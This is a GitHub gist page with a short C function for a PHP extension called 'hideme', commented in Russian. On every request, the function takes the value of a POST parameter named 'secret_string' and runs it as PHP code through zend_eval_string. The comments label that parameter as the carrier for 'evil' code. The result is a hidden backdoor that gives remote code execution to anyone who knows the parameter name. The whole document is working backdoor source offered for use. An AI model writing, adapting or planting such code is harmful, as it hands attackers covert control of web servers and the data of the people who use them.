Skip to content

Instantly share code, notes, and snippets.

@akamajoris
Created August 20, 2014 01:53
Show Gist options
  • Save akamajoris/2e98dd802dd956324ac3 to your computer and use it in GitHub Desktop.
Save akamajoris/2e98dd802dd956324ac3 to your computer and use it in GitHub Desktop.
PHP_RINIT_FUNCTION(hideme)
{
char* method = "_POST"; // суперглобальный массив, из которого берем пераметр и значение
char* secret_string = "secret_string"; // параметр в котором будет evil-код
zval** arr;
char* code;
if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) {
HashTable* ht = Z_ARRVAL_P(*arr);
zval** val;
if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // поиск нужного параметра в хеш-таблице
code = Z_STRVAL_PP(val); // значение параметра
zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); // выполнение кода
}
}
return SUCCESS;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment